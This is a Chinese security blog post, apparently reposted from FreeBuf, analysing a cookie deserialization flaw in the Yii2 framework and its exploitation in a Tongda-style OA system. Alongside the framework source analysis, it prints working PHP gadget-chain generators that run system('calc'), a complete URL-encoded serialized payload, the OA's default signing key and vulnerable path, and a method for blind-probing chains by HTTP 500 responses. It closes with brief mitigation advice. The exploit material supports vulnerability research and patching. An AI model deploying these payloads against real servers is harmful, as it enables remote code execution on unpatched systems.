• 从某达OA到Yii2框架的cookie反序列化漏洞研究


    目录

    序言

    一、反序列化的入口与条件

    1.hash验证数据

    2.php版本限制

    二、config/web.php中的cookieValidationKey值

    三、将反序列化数据从cookie中提取出来

    四、关于某些链条需要PHPSESSID

    五、通过500状态来判断链条存在可能

    六、对某达oa的反序列化漏洞进行观察

    七、我们如何预防呢?

    参考资料


    序言

    近期网上流传的某达OA存在PHP反序列化漏洞,导致命令执行。因为该漏洞底层是Yii2框架的漏洞,所以搭建好了Yii2框架环境,在Yii2框架的环境下来进行模拟研究,希望能达到举一反三和类比分析学习的目的。该cookie处反序列化漏洞属于通用型漏洞,如果使用了Yii2框架进行应用开发,若泄露了config/web.php中的cookieValidationKey值、且符合特定Yii2漏洞版本以及PHP版本小于7,那么可能存在此反序列化漏洞,从而导致恶意代码执行。笔者能力有限,如有理解不当之处,希望大师傅们批评指正!

    一、反序列化的入口与条件

    1.hash验证数据

    我们在cookie处提交的参数,被送到了这个validateData方法处,在这里$data的内容会被拆分。在期间其经历了一次hash值校验。我们只要用它提供的加密算法和密钥进行加密,生成数据,就能通过所有的校验,然后进入我们期望的`return $pureData;`环节。源代码如下:

    public function validateData($data, $key, $rawHash = false)
        {
            $test = @hash_hmac($this->macHash, '', '', $rawHash);
            if (!$test) {
                throw new InvalidConfigException('Failed to generate HMAC with hash algorithm: ' . $this->macHash);
            }
            $hashLength = StringHelper::byteLength($test);
            if (StringHelper::byteLength($data) >= $hashLength) {
                $hash = StringHelper::byteSubstr($data, 0, $hashLength);
                $pureData = StringHelper::byteSubstr($data, $hashLength, null);
    
                $calculatedHash = hash_hmac($this->macHash, $pureData, $key, $rawHash);
    
                if ($this->compareString($hash, $calculatedHash)) {
                    return $pureData;
                }
            }
    
            return false;
        }

    2.php版本限制

    上面的validateData方法,返回结果后,就回到了loadCookies方法。这里存在一个反序列化入口,就是下图else分支的内容,我们上一方法得到的反序列化数据会进入我们的反序列化入口(注意,allowed_classes 被设置为 false,则在反序列化过程中不会创建对象,只会还原基本数据类型,例如字符串、整数、数组等)。所以我们可以发现,在Yii2框架默认的环境下要进行这个反序列化操作,对php的版本是有所限制的,如下图,可以发现我们的版本中PHP_VERSION_ID 要小于70000才能到达我们期望的反序列化入口。

    源代码如下:

    protected function loadCookies()
        {
            $cookies = [];
            if ($this->enableCookieValidation) {
                if ($this->cookieValidationKey == '') {
                    throw new InvalidConfigException(get_class($this) . '::cookieValidationKey must be configured with a secret key.');
                }
                foreach ($_COOKIE as $name => $value) {
                    if (!is_string($value)) {
                        continue;
                    }
                    $data = Yii::$app->getSecurity()->validateData($value, $this->cookieValidationKey);
                    if ($data === false) {
                        continue;
                    }
                    if (defined('PHP_VERSION_ID') && PHP_VERSION_ID >= 70000) {
                        $data = @unserialize($data, ['allowed_classes' => false]);
                    } else {
                        $data = @unserialize($data);
                    }
                    ......
                }
            } else {
                ......
            }
    
            return $cookies;
        }
    
    
    
    
    下面我们先直接展示漏洞利用结果。我们可以从调用栈看到已经在进行我们的反序列化过程了。最终弹出计算机验证确实存在此漏洞。
    
    

    run方法如下:

    public function run()
    {
        if ($this->checkAccess) {
            call_user_func($this->checkAccess, $this->id);
    }

    二、config/web.php中的cookieValidationKey值

    入口我们观察到了,在validateData方法里我们对需要对自己的反序列数据要进行一次hash计算,然后将hash值拼接到我们url编码后的反序列化数据前,然后附在cookie中发送。这里计算hash就需要用到我们的cookieValidationKey值,我们需要在config/web.php中搜索cookieValidationKey值。

    例如下图中的"demo2":

    我们掌握了加密密钥与加密方法,也就可以编写自己想要用的反序列化数据。如下是简单编写的cookie加密程序:

    ';
    
    echo $hmac.$encodedata;

    效果如下:

    三、将反序列化数据从cookie中提取出来

    从前面反序列化的入口与条件看过来,我们这里进行更为细致的研究,看看我们的反序列化数据是如何被提取出来的。下面的$test值可以被视作测试数据,没有什么输入,目的其实在于输出适用了macHash算法后加密数据的长度。这个长度被用作分割我们cookie里的提交的数据。我们提交的是两部分,反序列化数据和在它前面的hash_hmac方法加密的hash值。由测试数据计算出的hash长度为64,那么后面会将cookie提交的数据中的前64个字符赋值给$hash,然后将剩余的赋值给$pureData。(我需要注意,这里获取的$data数据会被默认urldecode解码一次。)最终对比提交的hash值与计算出$pureData的hash值是否一致,一致则会进入我们期望的步骤。

    四、关于某些链条需要PHPSESSID

    案例说明,有些反序列化数据需要我们添加PHPSESSID,例如下面这条利用链:

    yii\db\BatchQueryResult->yii\web\DbSession->yii\rest\CreatAction

    其反序列化过程会触发对PHPSESSID状态的校验,含有PHPSESSID才能成功命令执行。先看一组对比图,第一个图添加了PHPSESSID,则进入了 composeFields方法;反之第二个图直接跳到结尾了,那么自然出现我们预期外的结果。如下两幅对比图:

    的$pureData的hash值是否一致,一致则会进入我们期望的步骤。

    这个什么原因我们看看getIsActive方法:

    public function getIsActive()
        {
            $value=session_status();
            //$value=2; PHP_SESSION_ACTIVE值为2
            return $value === PHP_SESSION_ACTIVE;
        }
    define('PHP_SESSION_ACTIVE', 2);

    如果没有Cookie中添加PHPSESSID,那么我们看看图:

    所以会返回false,我们无法进入条件为true的语句内。

    总之,反序列化链中所有会调用到getIsActive方法的链条我们都需要添加PHPSESSID。

    五、通过500状态来判断链条存在可能

    500状态,属于判断链条存在的一个必要条件。其会代表我们的反序列化数据所使用的类是可以调用到的,我们通过500状态,可以去判断目标可能存在某条利用链。我们可以从反序列化起点进行测试。(注意:通过500状态码来盲打,可以应对使用了不同漏洞组件的应用程序,可以辅助我们开发POC检测工具。所以前提是需要测试目标为存在漏洞的Yii2框架版本。)

    判断过程如下面案例展示:

    _dataReader = "new DbSession()";
            }
        }
    }
    
    namespace {
        use yii\db\BatchQueryResult;
        $a=new BatchQueryResult();
        echo urlencode(serialize($a));
    }
    ?>返回500,则我们可以继续测试:
    writeCallback="[(new CreateAction),\"run\"]";
                $this->fields['1'] = 'aaa';
            }
    
        }
    }
    
    namespace yii\db {
        use yii\web\DbSession;
        class BatchQueryResult {
            private $_dataReader;
            public function __construct() {
                $this->_dataReader = new DbSession();
            }
        }
    }
    
    namespace {
        use yii\db\BatchQueryResult;
        $a=new BatchQueryResult();
        echo urlencode(serialize($a));
    
    
    }
    ?>又为500,我们继续进行payload测试,进行到下面的测试我们已经测试出一条链了。
    checkAccess="system";
                $this->id="calc";
            }
        }
    }
    
    namespace yii\web {
        use yii\rest\CreateAction;
        class DbSession {
            protected $fields = [];
            public $writeCallback;
            public function __construct() {
                $this->writeCallback=[(new CreateAction),"run"];
                $this->fields['1'] = 'aaa';
            }
    
        }
    }
    
    namespace yii\db {
        use yii\web\DbSession;
        class BatchQueryResult {
            private $_dataReader;
            public function __construct() {
                $this->_dataReader = new DbSession();
            }
        }
    }
    
    namespace {
        use yii\db\BatchQueryResult;
        $a=new BatchQueryResult();
        echo urlencode(serialize($a));
    
    
    }
    ?>这个思路可以用来生成我们的payload探测工具,可以来查找可以被利用的反序列化链条。

    六、对某达oa的反序列化漏洞进行观察

    某达oa由于/general/appbuilder/web/portal/gateway/?这一条路径会使用上面介绍Yii2的cookie处理方法,所以就存在Yii2的那个反序列化入口,在获取到某达oa的config/web.php中的cookieValidationKey值后,我们就可以构造我们的payload进行攻击。在公开的POC中,可以观察到使用了某达oa自身的一个tdAuthcode加解密函数来加密payload,从而可以绕过一些防御检测。

    某达oa默认密钥"tdide2",使用了该密钥来加密利用链。我们在cookie中提交反序化数据,利用上面说的500状态来判断,可以判断这条链是存在的。不过system函数应该是被禁用了,需要使用网上公开的POC进行检测。下面是测试出的一条链条:

    checkAccess= "system";
                $this->id = "calc";
               
            }
        }
    }
    
    namespace  yii\base{
        use yii\rest\CreateAction;
        class Component{
            private $_behaviors;
            private $_events;
            public function __construct(){
                $this->_behaviors = 1;
                $this->_events =array("afterOpen"=>array(array([(new CreateAction),"run"])));
            }
        }
    }
    
    namespace yii\redis {
        use yii\base\Component;
        class Connection extends Component{
            public $hostname;
            public $port;
            public $redisCommands;
            public $password;
            public $database;
    
            public $_socket;
            public function __construct() {
    
                $this->hostname = "127.0.0.1";
                $this->port = 135;
                $this->redisCommands = ["CLOSE CURSOR"];
         
                $this->_socket = false;
                parent::__construct($_events);
                parent::__construct($_behaviors);
            }
    
        }
    }
    
    namespace yii\db {
        use yii\redis\Connection;
        class DataReader {
            private $_statement;
    
            public function __construct() {
                $this->_statement = new Connection();
            }
        }
    }
    namespace yii\db {
        use yii\db\DataReader;
    
        class BatchQueryResult {
            public $db;
            public $query;
    
            public $each;
            private $_dataReader;
            
    
    
            public function __construct() {
    
                $this->_dataReader = new DataReader();
             
            }
        }
    }
    
    
    
    namespace {
        use yii\db\BatchQueryResult;
        $a=new BatchQueryResult();
    
        echo urlencode(serialize($a));
    
    }
    ?>

    序列化代码如下:

    O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A4%3A%7Bs%3A2%3A%22db%22%3BN%3Bs%3A5%3A%22query%22%3BN%3Bs%3A4%3A%22each%22%3BN%3Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A17%3A%22yii%5Cdb%5CDataReader%22%3A1%3A%7Bs%3A29%3A%22%00yii%5Cdb%5CDataReader%00_statement%22%3BO%3A20%3A%22yii%5Credis%5CConnection%22%3A8%3A%7Bs%3A8%3A%22hostname%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A4%3A%22port%22%3Bi%3A135%3Bs%3A13%3A%22redisCommands%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A12%3A%22CLOSE+CURSOR%22%3B%7Ds%3A8%3A%22password%22%3BN%3Bs%3A8%3A%22database%22%3BN%3Bs%3A7%3A%22_socket%22%3Bb%3A0%3Bs%3A30%3A%22%00yii%5Cbase%5CComponent%00_behaviors%22%3Bi%3A1%3Bs%3A27%3A%22%00yii%5Cbase%5CComponent%00_events%22%3Ba%3A1%3A%7Bs%3A9%3A%22afterOpen%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BO%3A21%3A%22yii%5Crest%5CCreateAction%22%3A2%3A%7Bs%3A11%3A%22checkAccess%22%3Bs%3A6%3A%22system%22%3Bs%3A2%3A%22id%22%3Bs%3A4%3A%22calc%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7D%7D%7D%7D%7D%7D%7D
    
    O:23:"yii\db\BatchQueryResult":4:{s:2:"db";N;s:5:"query";N;s:4:"each";N;s:36:"yii\db\BatchQueryResult_dataReader";O:17:"yii\db\DataReader":1:{s:29:"yii\db\DataReader_statement";O:20:"yii\redis\Connection":8:{s:8:"hostname";s:9:"127.0.0.1";s:4:"port";i:135;s:13:"redisCommands";a:1:{i:0;s:12:"CLOSE CURSOR";}s:8:"password";N;s:8:"database";N;s:7:"_socket";b:0;s:30:"yii\base\Component_behaviors";i:1;s:27:"yii\base\Component_events";a:1:{s:9:"afterOpen";a:1:{i:0;a:1:{i:0;a:2:{i:0;O:21:"yii\rest\CreateAction":2:{s:11:"checkAccess";s:6:"system";s:2:"id";s:4:"calc";}i:1;s:3:"run";}}}}}}}

    接下来,讨论一下,`$this->redisCommands = ["CLOSE CURSOR"]; `。

    因为如果我们使用yii\redis\Connection类来进行中转,那么$this->redisCommands这个参数就很关键,研究这个参数我们可以帮助我们找到其他的利用链条,所以在这里来说明一下["CLOSE CURSOR"]。我们观察下面,当调用栈到达yii\db\DataReader->close()的时候,会调用到yii\redis\Connection类的closeCursor方法。由于yii\redis\Connection类不存在closeCursor方法但存在__call魔术方法,可以观察到如下传值,closeCursor被赋值给$name。

    camel2words方法:

    public static function camel2words($name, $ucwords = true)
        {
            $label = mb_strtolower(trim(str_replace([
                '-',
                '_',
                '.',
            ], ' ', preg_replace('/(? 
    

    直接让ChatGPT分析一下:

    这段代码是一个PHP函数,用于将驼峰式命名的字符串转换为人类可读的单词组合,并可以选择是否将结果的首字母大写。下面是对代码的详细分析:

    函数名称:camel2words

    这个函数的名称表明它的作用是将驼峰式命名转换为单词组合。

    参数:

    $name:要转换的驼峰式命名的字符串。

    $ucwords:一个布尔值,指示是否将结果的首字母大写(默认为 true)。

    函数体:

    代码的第一行定义了一个变量 $label,用于存储转换后的字符串。

    mb_strtolower 函数用于将字符串转换为小写。trim 函数用于去除字符串两端的空格。

    str_replace 函数用于将字符串中的一些特定字符(如短横线、下划线、点)替换为空格,以便将它们分隔开。

    preg_replace 函数使用正则表达式来处理驼峰命名。它通过正则表达式将大写字母分隔开,并在它们前面添加空格,以便后续处理。

    接下来的行对 $name 进行了多步的字符串处理,最终生成了一个用空格分隔的单词组合。

    返回值:

    如果 $ucwords 参数为 true,则调用 StringHelper::mb_ucwords 函数将转换后的单词组合中的每个单词的首字母都转换为大写,并返回结果。

    如果 $ucwords 参数为 false,则直接返回转换后的小写单词组合。

    总之,这个函数的作用是将驼峰式的字符串转换为人类可读的单词组合,方便展示给用户。同时,可以选择是否将结果的首字母大写,以适应不同的格式要求。注意,为了处理多字节字符,函数使用了 mb_strtolower 和 StringHelper::mb_ucwords 函数。

    所以从上面的代码演示,我们可以看到,如果想使用一条其他的利用链,我们需要寻找到一条包含形如`$this->_statement->closeCursor();`语句的类。由于会调用camel2words方法来处理yii\redis\Connection类的__call方法的$name参数,所以我们需要根据自己找到的$name参数,来定制$this->redisCommands的值,来进入我们期望的方法。(closeCursor——处理方法——> ["CLOSE CURSOR"])如果自己设置的$name参数能够成功通过条件语句,进入到executeCommand方法,后续会按照我们期望的方法顺利地进行代码执行。

    七、我们如何预防呢?

    • 这个漏洞,是需要知道config/web.php中的cookieValidationKey值的,这个值会被用于加密反序列化数据,所以我们要预防,就得保护好我们的cookieValidationKey值,避免信息泄露、默认值等这些情况导致cookieValidationKey值被获取。

    • Yii2框架默认中要想进入反序列化利用点是需要 PHP_VERSION_ID< 70000的,所以我们可以保证我们的系统php版本是较高的版本(大于7)。

    • 确保Yii2框架历史漏洞补丁被打上。

      参考资料

      很感谢下面大师傅们的文章,为笔者的分析学习过程解惑!

      https://mp.weixin.qq.com/s/nOQuqt_mO0glY-KALc1Xiw

      https://www.anquanke.com/post/id/254429

      原文地址: https://www.freebuf.com/vuls/378878.html

    • 声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

    学习更多渗透技能!体验靶场实战练习

  • 相关阅读:
    DDL操作数据库、表、列
    那些年遇到过的问题与解决方案
    CentOS7.9 SVN部署安装以及多目录权限配置
    Matlab直接求贝塞尔函数的导函数
    画布的使用方式
    css设置z-index为无穷大
    记一次Redis Cluster Pipeline导致的死锁问题
    【Linux系列】离线安装openjdk17的rpm包
    走进Web3万链互联:跨链&跨层、锁定+铸造与哈希时间锁定
    案例分享-丢失的请求头
  • 原文地址:https://blog.csdn.net/hackzkaq/article/details/133675323